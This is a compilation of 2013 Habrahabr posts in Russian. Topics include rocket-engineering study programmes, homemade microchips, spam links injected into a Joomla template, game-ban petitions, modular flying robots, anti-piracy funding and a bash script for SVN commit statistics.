Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Ракетное лето: куда пойти учиться

Привет, Хабр.
Космическая одиссея плотно захватила лучшие IT-умы Рунета, и мы не могли задать себе вопрос: а где, собственно, из поклонников Брэдбери, Азимова и ненормального программирования делают ракетных дел мастеров? Ответить на него мы сегодня и попробуем. Для начала вот это вот, а потом, если будет интересно, и до экзаменов на Гагарина доберёмся.

И, кстати, это первый приветственный пост от компании (и портала) WeStudy.in:
Так как мы про образование (в первую очередь за рубежом), то и писать мы собираемся о всём-всём самом интересном: университетах, программах обучения, о процессе поступления, о возможности получить стипендию или грант, стажировках и… и, в общем, много-много чего.

Мы присмотрелись к тому, что интересно Хабру и нам, и выбрали для старта вот такие темы:
— Ракетостроение
— Роботы
— DIY
— Ну и что-то о программировании, конечно (чтобы хоть 1 из 4 было про код и кофе!)


image

Маленькое лирическое отступление: Это Киробо .) И он — робот. Он стал единственным пассажиром грузового модуля HTV4 «Конотори» (4 Transfer Vehicle), который был буквально вчера отправлен на орбиту с помощью ракеты-носителя H-IIB F4 из Космического центра Танэгасима к МКС.
Рост его составляет чуть больше 30 см, а разработка является частью проекта «Kibo Robot Project» исследователей из Токийского столичного университета.


Мы, конечно, не до такой степени японцы, но многие пытались или по крайней мере думали над прототипами собственных летательных аппаратов из дерева, бумаги и других подручных материалов. Некоторые энтузиасты вполне успешно запускают самодельные аппараты и четко все документируют. Благо российские традиции — самые традиции, у кого еще есть, например, Циолковский?
А куда пойти заниматься ракетостроением профессионально? В этом посте мы рассмотрим образовательные программы по ракетостроению в России и за рубежом, чему там учат, какие документы нужны для приема, сколько мест и какие документы вам понадобятся.
Разумеется, в этом году поступать в российские ВУЗы, например, уже поздновато — приём документов закончился, но на следующий год… :)

Россия
Московский Государственный Технический Университет им. Баумана (МГТУ им. Баумана) и факультет «Ракето-космическая техника», основанный в 1956 году. Факультет тесно сотрудничает с базовым предприятием «Алмаз-Антей», который выпускает разные типы вооружений.

Факультет готовит студентов по 8 специальностям:
• 160800 Ракетостроение и космонавтика
• 160801 Ракетостроение
• 160400 Системы управления движением и навигация
• 160403 Системы управления летательными аппаратами
• 160300 Двигатели летательных аппаратов
• 160302 Ракетные двигатели
• 15100 Конструкторско-технологическое обеспечение автоматизированных машиностроительных производств
• 151003 Инструментальные системы машиностроительных производств

Срок подачи документов: до 25 июля.
Документы для поступления• Заявление;
• Паспорт;
• Документ государственного образца об образовании;
• 6 фотографий 3х4;
Количество учебных мест: 131 бюджетное место, 83 места для тех, кто готов заплатить за полёты к Марсу.

Стоимость обучения: 212 400 за год бакалавриата и 236 000 за год в магистратуре.

Московский Авиационный Институт (МАИ) и Аэрокосмический факультет.
Факультет в сегодняшнем виде основан в 1968. Но его история началась еще в 1930 году, когда на базе бауманского аэромеханического факультета было создано Высшее Аэромеханическое училище, которое впоследствии было переименовано в МАИ.
Факультет готовит студентов по 11 специальностям:
• 160802 – «Космические летательные аппараты и разгонные блоки»
• 160801 – «Ракетостроение»
• 150301 – «Динамика и прочность машин»
• 150502 – «Конструирование и производство изделий из композиционных материалов»
• 160703 – «Динамика полёта и управление движением летательных аппаратов»
• 230301 – «Моделирование и исследование операций в организационно-технических системах»
• 160804 – «Cистемы жизнеобеспечения и защиты ракетно-космических аппаратов»
• 200402 – «Инженерное дело в медико-биологической практике»
• 230104 – «Системы автоматизированного проектирования»
• 160906 – «Испытание летательных аппаратов»
• 020801 – «Экология»

Срок подачи документов: до 4 августа в бакалавриат, и до 6 августа в магистратуру.
Документы для поступления• Документ государственного образца о среднем (полном) общем или среднем профессиональном образовании;
• Cвидетельство о результатах единого государственного экзамена (ЕГЭ);
• 6 фотографий размером 3х4 см. и 6 фотографий размером 4х6 см.;
• Документы, дающие право на льготы;
• Паспорт;
• Медали, грамоты
Количество учебных мест: 325 мест бакалавриат (бюджет), 37 мест магистратура (бюджет), 20 мест бакалавриат (платное обучение), 10 мест магистратура (платное обучение).

Стоимость обучения: от 48 000 до 129 000 рублей за учебный год.

Следующий ВУЗ не столичный, но кого это смущает, когда речь о космосе?
Омский Государственный Технический Университет (ОмГу) и Радиотехнический факультет представляет следующие специальности:
• Конструирование и технология электронных средств
• Инфокоммуникационные технологии и системы связи
• Радиотехника
• Электроника и наноэлектроника
• Информационная безопасность
• Приборостроение
• Безопасность информационных технологий в правоохранительной сфере
• Инфокоммуникационные технологии и системы специальной связи

Срок подачи документов: до 25 июля.
Документы для поступления• Документ государственного образца о среднем (полном) общем или среднем профессиональном образовании;
• Cвидетельство о результатах единого государственного экзамена (ЕГЭ);
• 6 фотографий размером 3х4 см.
• Документы, дающие право на льготы;
• Паспорт;
• Медали, грамоты
Количество учебных мест: 15 бюджетных мест

Тульский Государственный Университет (ТГУ) и кафедра Ракетостроения со следующими специальностями:
• «Ракетостроение»
• «Ракетные двигатели»
• «Баллистика»

Срок подачи документов: до 3 августа.
Документы для поступления• Документ государственного образца о среднем (полном) общем или среднем профессиональном образовании;
• Cвидетельство о результатах единого государственного экзамена (ЕГЭ);
• 6 фотографий размером 3х4 см.
• Документы, дающие право на льготы;
• Паспорт;
• Медали, грамоты
Количество учебных мест: 59 бюджетных мест.

Программы и вузы за рубежом
Ну а теперь к сладкому, то есть, к загранице. Понятное дело, что для всех серьёзных программ требуется ОЧЕНЬ хороший английский, причём подтверждённый сертификатом. И просто так, с наскоку, ни в один из трёх основных университетов, которые мы отобрали, не поступишь — нужна планомерная подготовка (кстати, в этом мы можем помочь) и большое терпение.

Массачусетский Технологический Университет (MIT) и Аэрокосмический факультет – старейшая и самая уважаемая в США аэрокосмическая программа. Первые курсы начали читаться еще в 1924 году. Факультет активно сотрудничает с NASA и Министерство обороны США, которые предоставляют финансирование и рабочие места для студентов. МИТ в особых представлениях не нуждается, это мекка, в своём роде. Направления исследований и подготовки (даём в английском варианте, ибо стандарт):

• Communications and Networks
• Controls
• Humans in Aerospace
• Materials and Structures
• Space Propulsion
• Space Systems

Срок подачи документов: до 15 декабря.

Стоимость обучения: 63.110 долларов (за год)
Документы для поступления• Онлайн-заявление;
• Оригинал и нотариально заверенные копии аттестата с переводом;
• Сертификат на знание английского языкa TOEFL/IELTS;
• Мотивационное письмо;
• Рекомендательные письма;
• Копии паспорта (российского и заграничного).

Колорадский Университет в Боулдере и программа «Аэрокосмическое машиностроение».
На факультете проходят обучение 250 аспирантов и 400 студентов. Факультет поддерживает обширную систему финансирования обучения для студентов. Хорош всем, правда, в Канаде прохладно (но для россиян это не самая большая помеха). Основные исследовательские и учебне направления:
• Аэрокосмические инженерные системы
• Аэродинамические и спутниковые навигационные системы
• Биоастронавтика
• Космические науки и удаленные сенсоры
Срок подачи документов: до 1 декабря.

Стоимость обучения: 34.097 долларов (не Канады, а США) в год.
Документы для поступления• Онлайн-заявление;
• Нотариально заверенный перевод аттестата и ак адемической выписки;
• Рекомендательные письма;
• Эссе на заданную тему;
• Копия загранпаспорта;
• Сертификат на знание английского языка (TOEFL/IELTS) и экзамена SAT/ACT;
• Заявление о возможности оплатить минимум год обучения и проживания.

Индийский Технологический Университет, Бомбей и программа «Авиационно-космическая инженерия». Особенно хорош для тех, кто параллельно с отсылкой людей в космос мечтает послать себя в Нирвану ;) Индия всё-таки.
Факультет основан в 1965 году, имеет несколько лабораторий в области аэродинамики и систем управления, центр повышения квалификации. В университете активно ведется научно-исследовательская деятельность, поддерживается большое количество проектов, спонсируемых ARDB, ADA, ISRO, DST, AICTE, MHRD.

Срок подачи документов: до 3 января.

Стоимость обучения: 90.000 долл. США
Документы для поступления• Онлайн-заявление;
• Оригинал и нотариально заверенные копии аттестата с переводом;
• Сертификат на знание английского языкa TOEFL/IELTS;
• Копии паспорта (российского и заграничного).
Конечно, это не все возможные программы, связанные с ракетостроением, но мы постарались отобрать лучшие из них. Глобальные выводы делайте сами, но тривиальный вывод сделаем мы – хотя на наших российских программах по ракетостроению есть небольшой слой пыли и историчности, а зарубежные программы блестят как новенький цент, это не означает, что где-то лучше, а где-то хуже учиться. Каждый выбирает для себя.

Естественно, если у Хаброкосмосообщества будут дополнения, комментария или пожелания, к тому, что добавить в список или о чём рассказать в дальнейшем — будет замечательно.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[recovery mode] Вебинар компаний Huawei Enterprise и Landata «Обзор новых продуктов для видео конференций» 14 августа 2013г

imageКомпании Huawei Enterprise и Landata приглашают на вебинар « новых продуктов для видео конференций».

Во время вебинара будут рассмотрены такие темы:
  1. Краткий обзор продуктовой линейки ВКС Huawei
  2. Позиционирование новых продуктов

Во время вебинара специалисты от Huawei Enterprise и Landata ответят на все возникшие вопросы.

Вебинар состоится 14.08.2013г. в 11:00 по московскому времени. Продолжительность мероприятия — 1 час.

Для участия в вебинаре необходима регистрация.

Внимание! После заполнения регистрационной формы в течении 30-60 минут вы получите письмо, подтверждающее Вашу регистрацию.
Вебинар будет доступен Вам по ссылке.

Для входа необходимо будет ввести е-mail и пароль, которые Вы указали при регистрации.

Полезные :
маркетинговые материалы по продуктам Huawei: ftp://ftp.landata.ru/Huawei/marketing/
презентации и записи прошедших вебинаров: ftp://ftp.landata.ru/Huawei/webinars/

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Делаем микросхемы дома — часть 3

Прошло чуть больше года после предыдущих статей о моем проекте создания микросхем дома (1, 2), люди продолжают интересоваться результатами — а значит пора рассказать о прогрессе.

Напомню цель проекта: научиться изготавливать несложные кремниевые цифровые микросхемы в «домашних» условиях. Это никоим образом не позволит конкурировать с серийным производством — помимо того, что оно на порядки более совершенное (~22нм против ~20мкм, каждый транзистор в миллион раз меньше по площади), так еще и чудовищно дешевое (этот пункт не сразу стал очевиден). Тем не менее, даже простейшие работающие микросхемы, изготовленные в домашних условиях будут иметь как минимум образовательную и конечно декоративную ценность.

Начнем с неудач и драмыКак я уже упоминал в комментариях к другому топику, попытка выйти с этим проектом на kickstarter провалилась — проект не прошел модерацию из-за отсутствия прототипа. Это заставило в очередной раз переосмыслить пути коммерциализации этой упрощенной технологии. Возможность релиза технологии домашних микросхем в виде RepRap-подобного opensource-кита покрыта туманом: очень уж много опасной, дорогой и нестойкой химии — так просто рассылать по почте не выйдет. Также по видимому отсутствует возможность делать мелкие партии микросхем дешевле серийных заводов: сейчас минимальные тестовые партии микросхем можно изготавливать примерно по 30-50$ штука (в партии ~25 штук), и существенно дешевле 30$ за микросхему сделать это на самодельной упрощенной установке не получится. Кроме того, не смотря на низкую цену на обычных заводах — любительские микросхемы практически никто не делает, задач где они имели бы преимущества перед FPGA/CPLD/микроконтроллерами практически нет, а стоимость и сложность разработки — остается очень высокой.

Но как я уже упоминал выше — даже с этими недостатками проект остается для меня интересным.

ЛогистикаИз того, что уже упоминалось в моих других статьях в последние месяцы — куплен кислородный концентратор, позволяет получить ~95% кислород без головной боли. Из вредных примесей — похоже только углекислый газ (35ppm), будем надеяться, этого будет достаточно. Также едет из Китая генератор озона (ему на входе нужен кислород) — есть результаты исследований, показывающих что им удобно растить тонкие подзатворные диэлектрики и использовать как один из этапов для очистки пластин.


Уже достаточно давно куплен металлографический микроскоп, и исследованы кучи существующих микросхем. В целом, стало намного понятнее с чем придется иметь дело. И наконец, поскольку микроскоп — симметричный прибор, его можно использовать для проекции уменьшенного изображения при фотолитографии. Совмещение изображения — визуальное и ручное. Источник освещения для проецирования — даже не обязательно УФ диодом делать, белый свет также вполне подойдет — качество изображения позволяет (хотя мощные 405нм диоды у меня тоже есть). Достижимые таким образом нормы фотолитографии — микронные (если сильно постараться — то до ~350нм), но смысла сильно уменьшать транзисторы нет — т.к. пропорционально уменьшается и «размер кадра», контакты к которым придется приваривать выводы станут слишком мелкими. Так что придется первоначально ограничиться нормами 10-20мкм, как и планировалось.

Микроскоп несколько поколебал веру как в отечественных производителей, так и в китайских. Оказалось, некоторые «отечественные» микроскопы — перемаркированные китайцы за 200-300% цены. С другой стороны — один из объективов похоже немного кривоват и предметный столик имел небольшой дефект литья — пришлось дорабатывать напильником (в прямом смысле этого слова).


Один из важных химических элементов для производства микросхем — вода. Опять-же в Китае куплен кондуктометр — измеритель электропроводности воды. По электропроводности можно оценить количество растворенных солей (+-50%, если не известно что именно растворено). В воде обычно растворены соли калия, натрия, кальция и марганца — и все они очень опасны для микросхем (особенно натрий и калий), т.к. их ионы могут быстро двигаться в кремнии и оксиде кремния при обычных температурах и изменять электрические параметры транзисторов (для полевых транзисторов — пороговое напряжение, утечку).


Измерил имеющиеся образцы воды, и получил следующее:
Концентрация примесей
Водопроводная вода219ppm
«Новый» бытовой фильтр118ppm
«Старый» бытовой фильтр210ppm
Кипяченая вода из нового фильтра140ppm
(!!! 2 раза перепроверял)
Бидистиллированная вода из Русхима
(Не похоже на бидистиллированную)
10ppm
Деионизировнаная вода из института микробиологии0ppm
Деионизированная после 6 часов на воздухе
(Из-за растворения углекислого газа из воздуха)
8ppm
«Правильная» деионизированная вода — должна иметь 0.1ppm и менее, что меньше того, что может измерить мой прибор. Тем не менее, сразу видно, что далеко не любой источник воды подойдет. Куплены ионообменные смолы — они используются для очистки воды до деионизированной. Оказалось, закрома родины очень глубоки — одна из банок расфасована в 1968-м году


Также удалось купить и TMAH (тетраметиламмония гидроксид) — используется как проявитель для фоторезиста, не содержащий ионов щелочных металлов (которые как мы знаем — зло).


Для вакуумной системы — вместо покупки вакуумной резины (несколько раз пытался — но так и не осилил), нашелся в Китае вот такой вот gasket maker — паста, которую можно выдавить в нужную форму, она затвердевает — и становится резиновой.


По печке: для теплоизоляции — куплено вот такое базальтовое полотно, используется для теплоизоляции ядерных реакторов. Выдерживает 1000-1200 градусов.


Под микроскопом — видно отдельные нити расплавленного базальта, из которых сплетено полотно. Вот это настоящие нанотехнологии!!! В голове по началу не укладывается: как из камня можно сделать тончайшие нити, и соткать гибкий материал? (масштаб: 1 пиксель ~ 3 микрометра):


Найдены и порезаны кварцевые трубки для печки разного диаметра. Первый уровень теплоизоляции — воздушный зазор межу вставленными друг в друга трубками.


Изначально я думал питать печку прямо от 220 вольт — но все-же благоразумно решил перейти на питание постоянным током 48 Вольт — это позволит как точнее регулировать и контролировать мощность, так и сделает конструкцию безопаснее. Куплены 2 блока питания на 400Вт. Как китайцы такой блок производят и доставляют за 19$ — загадка:


Для контроля температуры — изначально были куплены высокотемпературные термопары, рассчитанные на 1200 градусов (про них писал в прошлой серии — но фотографии не было). Размер конечно конский. Вероятно будет проще следить за уровнем инфракрасного излучения на длине волны 1мкм — кварц для него прозрачен.


И наконец — инертная среда для печки. В моем случае это Аргон. Из-за особенностей разделения газов — аргон получается чище, чем азот, хоть и несколько дороже. Я купил маленький 10л баллон, и регулятор. Регулятор внезапно не подошел — резьба не совпадает, нужно или переходник искать, или другой регулятор покупать.

Оказалось, сжатые газы продают рядом с домом (жизнь в промышленной зоне Москвы имеет свои преимущества) — и я приехал за ним с тележкой. Рабочий не оценил мой порыв — и настоятельно рекомендовал завернуть баллон в картон, чтобы прохожие не переживали. За 15 минут мы справились с камуфляжем. В общем, встреча с реальным миром вечно дарит сюрпризы :-)


Софт и разработкаСамое главное — удалось досконально разобраться в том, как работает микросхемы по NMOS технологии, зачем там 3 напряжения питания (или 2, со снижением скорости). Также наконец найден качественный open-source софт для разработки простых микросхем, в том числе поддерживающий и NMOS процесс — gnuelectric:



Чего еще не хватаетИз того, что упоминал в предыдущей статье — TEOS видимо не нужен, слишком сложно с ним работать, HMDS — не обязателен, по крайней мере для «больших» транзисторов.

Генератор азота — это конечно удобно, работать с пластинами в инертной атмосфере и не возиться с баллонами, но также не критично.

Единственное, что серьёзно могло бы облегчить работу — это образцы spin-on dopants и spin-on glass. В России по различным причинам их не используют и не производят, за рубежем — производителей мало, продается большими партиями и стоит дорого (тысячи $). Компания Emulsitone, у которой покупала образцы Jeri Ellsworth когда делала свои транзисторы — похоже загнулась, с ними связаться так и не удалось. Но это также не обязательный пункт — работать можно и без них (с фосфорной и борной кислотами, POCl3 и BBr3), хоть и намного сложнее / несколько опаснее.

И наконец — конечно не хватает спонсора для моих проектов, иногда между дополнительными затратами времени и дополнительными затратами денег приходится выбирать первое. Если кто-то из компаний или частных лиц имеет желание спонсировать мои проекты (условия обсуждаемы) — вы знаете, где меня найти :-).

О «серийном» проектеВ прошлой статье я упоминал о моём классическом микроэлектронном проекте — я хотел разработать и производить на серийных заводах микроконтроллеры. Исследовав под микроскопом конкурентов (нормы производства, площадь), и узнав цены производства на практически всех заводах (как отечественных, так и зарубежных) — стало понятно, что бизнес это хороший, хоть и очень капиталоемкий. Тем не менее, тут похоже пока не судьба — в Сколково проект дважды завернули, из-за отсутствия у меня профильного опыта. С одной стороны они безусловно правы, с другой — пришел бы Цукерберг в Сколково, а ему «А сколько социальных сетей вы уже создали?». Вводить в команду фиктивных членов — совершенно нет желания. Так что жизнь как всегда вносит коррективы в радужные планы — видимо сначала придется зарабатывать деньги на проект другими путями, и вернуться к нему через 3-5 лет (если он тогда еще будет кому-то нужен).

Дальнейшие планыСледующий шаг — сборка печки с управляющей электроникой, и наконец производство первых образцов. Для начала — кремниевые диоды, исследование их характеристик, солнечные батареи, затем — полевые транзисторы, возможно и биполярные. Можно попробовать сделать диоды Шоттки — но с ними все не так просто (высокие требования к интерфейсу металл-полупроводник и краям диода).

Затем нужно думать, как в домашних условиях сделать ультразвуковую или термокомпрессионную сварку проволоки с кремниевой пластиной — это нужно для подключения выводов.

Надеюсь, в обозримом будущем домашние микросхемы мы все-же увидим :-)

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Удаление левых ссылок в joomla 2.5

Недавно поставил тут quickstart очередной на шаблоне bt_beauty. И такая хрень непонятная приключилась… вот контент на главной странице, обычный материал и чуть выше него прямо чуть выше абзаца две на ненавистные
joomlaru.com и allmedicin.ru
. Ненавистные не потому, что я что то имею против этих сайтов, а потому что я так и не смог нормально избавиться от этих ссылок. Вначале создалось впечатление что эти ссылки прямо в теле статьи, но просмотрев материал в html режиме редактора я их там не увидел. Искал и в файлах и в базе данных — глухо:( Проверял и на base64 — тоже бесполезно… там этих файлов с использованием base64 примерно штук 20… неужели если купить этот шаблон у разработчиков там тоже будут натыкано везде это base64… Просто непонятно зачем везде применять эту функцию… В общем я заебался искать как они внедрили туда ссылки… скачал несколько таких же архивов и тупой перезаливкой добился отсутствия левых ссылок. Метод конечно не айс… еще неизвестно где всплывут еще левые ссылки, но тем не менее если не получается найти и удалить код — то вполне может прокатить и такое. Интересно есть ли какие нибудь действенные инструменты по быстрому поиску ссылок в base64 и их удалению? Хотя в моем случае я не уверен, что было именно base64… возможно какой то более изощренный и хитрый метод. У кого есть опыт успешной борьбы с левыми ссылками — вэлкам в комменты:)

Ниже приведен проблемный участок исходного кода… Ненавистный кусок кода я выделил своими комментариями с многоточием и линией так...______________________ Если есть гуру по joomla — буду благодарен за развернутое решение такой проблемы. Помимо этого в качестве бонуса размещу постовой на ваш ресурс со своего сайта с ТИЦ-40 -4.

<div class="bt_center">
            <div class="bt_center_inner" style="width: 990px">
            <div class="bt_main_outer">
                        <div class="bt_main">

                
                <div id="bt_body" style="width: 986px">

                       <!-- MAINBODY -->
 <div id="bt_mainbody_div" style="clear:both;width: 990px;">
 <div class="bt_mainbody" style="float: left; width: 990px; margin: 0px 0px 0px 0px;">
<div class="bt_sub_mainbody" style="padding: 10px 25px 10px 25px;">

<div id="system-message-container">
</div>
<div class="item-page_top_bg"></div>

Вот отсюда начинается геморой....... ___________________________________________________
<div class="item-page">

<a href="http://joomlaru.com"><img src="http://joomlaru.com/new.png"/></a>
<a href="http://allmedicin.ru"><img src="http://allmedicin.ru/new.png"/></a>

А вот дальше уже пошел текст статьи....__________________________________________________

<p><span style="color: #000000; font-family: tahoma, arial, verdana, sans-serif, 'Lucida Sans'; font-size: 11px; line-height: 17px;">Многопрофильная клиника «Académica» открывает свои двери для любимых клиентов.</span>

Петиции, требующие запретить игру «Company of Heroes-2» в СНГ, набрали около 15 тысяч подписей

25 июня 2013 года на мировом и российском рынках появилась долгожданная новинка — компьютерная игра «Company of Heroes 2» от канадской студии Relic (ныне выкупленной фирмой SEGA).На тот момент никто и не предполагал, какой ажиотаж вызовет игра и что по какой причине это произойдёт. Спустя месяц после её выхода в сети сначала появился разоблачающий видеообзор от BadComedian, а следом одна за другой возникли две петиций от возмущенных пользователей с требованием запретить данный продукт на территории РФ:
Каждое из этих обращений уже подписали более 14 тысяч человек (петицию к 1С — 18.5 тысяч), и их инициаторы не намерены останавливаться на достигнутом.Поводом для столь кардинальных решений послужило содержание игры, с которым очень много игроков совершенно не согласны.
Если ознакомится со всеми оценками игры, станет очевидно, что её авторы взяли за основу сценария альтернативную версию исторических событий времён Великой Отечественной войны. Таким образом, как считают авторы петиций, создатели «Роты героев» полностью исказили правду о советских солдатах представив их предателями, трусами и садистами, напрочь лишенными не только геройских, но и человеческих черт. Особенно настораживает тот факт, что главной аудиторией игры является молодёжь и даже дети, которые вряд ли читают историческую литературу и вполне могут принять изображённые образы за чистую правду. Представить весь масштаб угрозы здоровому воспитанию подрастающего поколения можно прочитав один из более ярких обзоров игры.
один из ярких обзоров игрыХотя название игры переводится как «Рота Героев», не вводите себя в заблуждение этим обманчивым тайтлом. Ибо советские солдаты и командиры здесь меньше всего на свете похожи на героев: первые мечтают свалить с линии фронта и только вездесущие заградотряды заставляют эту толпу трусов и дезертиров отстаивать свою же землю, вторые – расстреливают своих же и делают максимально возможные усилия, чтобы погибло побольше их подчинённых. Во всей кампании едва ли найдётся хоть одно неомерзительное действие советских военных. Советские солдаты поджигают дома с собственными невинными жителями. Советские солдаты хором в запой расстреливают безоружных пленных. Советские командиры спецом дожидаются пока до моста добегут собственные солдаты, чтобы тут же из взорвать. Советские военные подло предают и стреляют в спину тем, кто только что им помог. Порой офигев от такого накала ПРАВДЫ и «исторических разоблачений» в стиле а-ля Михалков, уже просто пялишься в экран и ждёшь, когда увидишь советских солдат едящих человеческое мясо или советских солдат жарящих на костре детей (попарно, как своих, так и немецих). Такие моменты были бы абсолютно в духе Company of Heroes 2, провозглашающей максимум хардкора: никаких не то, что героических, но даже человеческих черт у советских унтерменшей не должно быть показано!
Лишь главгерой, Lev Abramovich Isakovich – свет в конце туннеля, где все остальные, кроме него, трусы, предатели или садисты, единственный честный, незапуганный, сидит в Gulag (как и всякий честный человек) и рассказывает нам частично упомянутую выше историческую правду…
Кого же имели ввиду разработчики в названии «Company of Heroes»? Lev Abramovich ведь, как ни крути, всего один. Скорее всего, нацистов, которые хотели избавить мир от этих трусливых, подлых, садистических недочеловеков, которые хорошо умеют только бесконечно бежать на пулемёты без оружия.
Лишь однажды, похоже, перед сценаристом возникла дилемма: ведь несмотря на то, что показываемая им Красная Армия воюет исключительно забрасыванием трупами из катапульт и расстрелом солдат за подвиги, она каким-то чудом оказалась в Берлине. Эту маленькую неувязочку решили гениально просто: в брифинге нам настойчиво талдычат, что немцев разбил «генерал Мороз», плохие дороги и застревающие в гусеницах немецких танков внутренности советских солдат, а во всех бедах войны виноват Soviet regime, которому просто захотелось фотку с Рейхстагом.
Сами же разработчики не чувствуют себя виноватыми и наоборот переходят в контратаку, утверждая, что всё изобразили «сбалансировано», а мы, жители бывшего СССР, просто слишком хорошего мнения про свою историю. (Как добавляют вторящие разработчикам либералы – «промыты советским образованием и расстроены, что СССР показан не идеальным») Ну да, дорогой читатель, здесь и вправду есть две стороны правды о СССР: есть хорошая, в виде правдолюба Льва Абрамовича и его бегущих на пулемёты болванчиков и плохая – в виде всего остального советского.

Учитываю дерзкую реакцию создателей игры, обида российских пользователей становится только острее. Помимо сбора подписей к петициям, активисты также призывают подключится к процессу российские власти. Раз уж в стране во всю продвигаются законы о блокировании сайтов с нелицензионными фильмами, то и с игрой растаптывающей чувства ветеранов следует всё-таки разобраться. Возмущенные пользователи Рунета уже снизили рейтинг игры на метакритике до 1.6 (из 10), и поставили огромное количество дислайков официальному трейлеру игры на youtube (дислайков уже больше чем лайков).
Пока, как сообщается на страницах петиций, руководство фирм «1С» и «Valve» никак не отреагировало на петиции. Видимо ключевую роль играет объём ожидаемой выручки от продажи игры. «Company of Heroes-2» стала лидером продаж коробочной версии игры в сети «1С-Интерес» в СНГ в первые недели после начала продаж.
Поэтому противостояние продолжается.Создавая и подписывая петиции, неравнодушные граждане рассчитывают как минимум оказать воспитательное воздействие на структуру «1С». Поскольку, даже если игра не будет запрещена, то впредь компания станет более тщательно подходить к выбору игр для локализации под рынок СНГ.
Подписавшие петиции также надеются, что студии по разработке игр со всего мира усвоят этот урок, и будут более серьёзно подходить к выбору роли русскоязычных персонажей в их играх и исторической достоверности, так как не захотят потерять доход от продаж в странах СНГ.
Возможно, читателям Хабра известны случаи, когда продажу другой компьютерной игры запрещали в какой-либо отдельной стране после возмущения пользователей?
PS: Тем временем, в многопользовательской онлайн игре «World of tanks» на американских и европейских серверах отныне под запретом любая надпись с упоминанием Иосифа Сталина (даже кирилицей) на советских танках времен Великой Отечественной войны. Таково требование европейцев.



Публикую этот текст по просьбе Петра Морозова petyamorozov.

От себя еще замечу, что вчера Евгений Баженов (BadComedian) опубликовал свой видеообзор на английском, и его посмотрели уже более 176 000 раз.
В комментариях на YouTube развернулись нешуточные баталии, а Relic ушла в глухую оборону на своих форумах и в Facebook, забанивая всех подряд.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


DFA: летающий робот-трансформер



В мультиках и фильмах о роботах-трансформерах особую радость поклонников этого жанра вызывает возможность слияния нескольких роботов в единое целое, обладающее качественно иными, чем отдельный робот, свойствами. Конечно, до реальных роботов, наделенных искусственным интеллектом, способных рассуждать, обороняться и нападать, еще далеко. Но описанный выше принцип уже реализовали на практике. Команда разработчиков из Цюриха создала несколько летающих роботов, которые умеют определять местоположение друг друга, а также собираться на лету в единый летательный аппарат.

Проект разрабатывается объединенной группой исследователей из IDSC и Швейцарской высшей технической школы. Само собой, здесь не обошлось и без 3D-печати: корпуса роботов созданы при помощи 3 принтера. Корпус — шестигранный, и каждый робот оснащен магнитами, плюс двигателем с винтами (само собой, есть еще и модуль, позволяющий роботам определять местоположение друг друга).

Когда роботы летают сами по себе, они действуют вразнобой, перемещаясь, как приходится. Но они «умеют» собираться в единое целое, перемещаясь затем в воздухе, как система. При этом каждый элемент системы определяет, в каком режиме должен работать собственный двигатель в конкретный момент времени, чтобы система летела в заданном направлении. При этом объединенная система «умеет» и садиться, не просто летать.

Управляется система либо оператором, при помощи джойстика, либо посредством внешних датчиков, включая GPS-. В настоящее время проект представлен в качестве демонстрации возможностей распределенного летающего строя, и практической цели не несет. В дальнейшем, как надеются разработчики, принцип, заложенный в основе проекта, можно будет использовать для транспортных систем нового типа. Стоит отметить, что над проектом распределенного летающего строя была начата еще в 2008 году, и сейчас мы видим отличные результаты:


via wired

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


На реализацию антипиратского закона потребуется около 100 миллионов рублей из госбюджета



А точнее, 97 миллионов рублей, которые запрошены Роскомнадзором. Звукозаписывающие студии и прочие правообладатели пролоббировали принятие антипиратского закона, о котором уже много раз писали на Хабре. Однако, вряд ли эти организации собираются финансировать работу правительства по выполнению положений этого закона. Само собой, эти деньги будут запрошены у государства, ведь государство же приняло закон.

Роскомнадзор собирается создать отдельное подразделение на 25 человек, которые и будут заниматься исключительно выполнением задач, связанных с положениями указанного выще закона. Кроме того, планируется (вернее, пока предлагается) увеличить штат территориальных органов Роскомнадзора до 92 человек. На все это и требуются означенные 97 миллионов рублей.

Сам Роскомнадзор, по плану, будет заниматься рассылкой уведомлений хостинг-компаниям о нарушениях, рассылкой уведомлений владельцам сайтов. Если провайдеры/владельцы сайтов не будут реагировать, планируется связываться с провайдерами связи, с требованием блокировать тот либо иной ресурс, распространяющий нелегальный контент. Роскомнадзор же будет вести реестр ресурсов, подлежащих блокировке.

Ну, а поскольку все это требует большого количества работы/временных затрат, то и суммы, как видим, немаленькие.

Via digit

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Наглядное представление активности коммитов SVN в терминале

В небольших личных проектах я использую SVN и bug-трекером в таких случаях служит лист формата A4.
svn log
никогда не был легко читаем для меня, поэтому я написал bash-скрипт, позволяющий наглядно видеть активность разработки за последнее время или список коммитов заданной даты:

image



<code class="bash">#!/bin/bash

usage='usage: 
  ./svn_log <days>    OR    ./svn_log <date>

examples: 
  ./svn_log 10        OR    ./svn_log 2013-08-02'

# 1. получаем входной параметр - количество дней ($days) или дата в формате YYYY-MM-DD ($date)
param=$1
if [ -n "$param" ]; then
    if [[ "$param" =~ ^[0-9]+$ ]] ; then
        days="$param"
    elif [[ "$param" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]]; then
        date="$param"
    else
        echo "$usage"
        exit 1
    fi
else
    days=7 # по умолчанию показываем статистику коммитов за прошедшую неделю
fi

# 2. запуск без параметра или с числовым параметром - статистика коммитов по дням
if [ -n "$days" ]; then
    # svn log в переменную чтобы обойтись одним вызовом
    start=`date +"%Y-%m-%d" --date "$end -$days day"`
    svn_log=`svn log -r {$start}:HEAD`

    for (( i=0; i<$days; i++ ))
    do
        # получаем дату каждого для в формате YYYY-MM-DD
        day=`date +"%Y-%m-%d" --date "$end -$i day"`

        # используем полученную дату для поиска по svn log
        num_commits=$(echo "$svn_log" | grep "$day" | wc -l)
        
        # вывод результатов
        echo -ne "$day "
        for (( c=0; c<$num_commits; c++ )); do
            echo -ne '#'
        done
        echo ''
    done
fi

# 3. запуск с параметром даты - перечень коммитов в указанный день
if [ -n "$date" ]; then
    svn_log=`svn log -r {$date}:HEAD`
    echo "$svn_log" | grep -A 2 -B 1 "$date" | awk "NR%4==0"
fi
</code>

Скачать скрипт: pastebin.com

Буду рад, если этот инструмент пригодится кому-либо еще.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


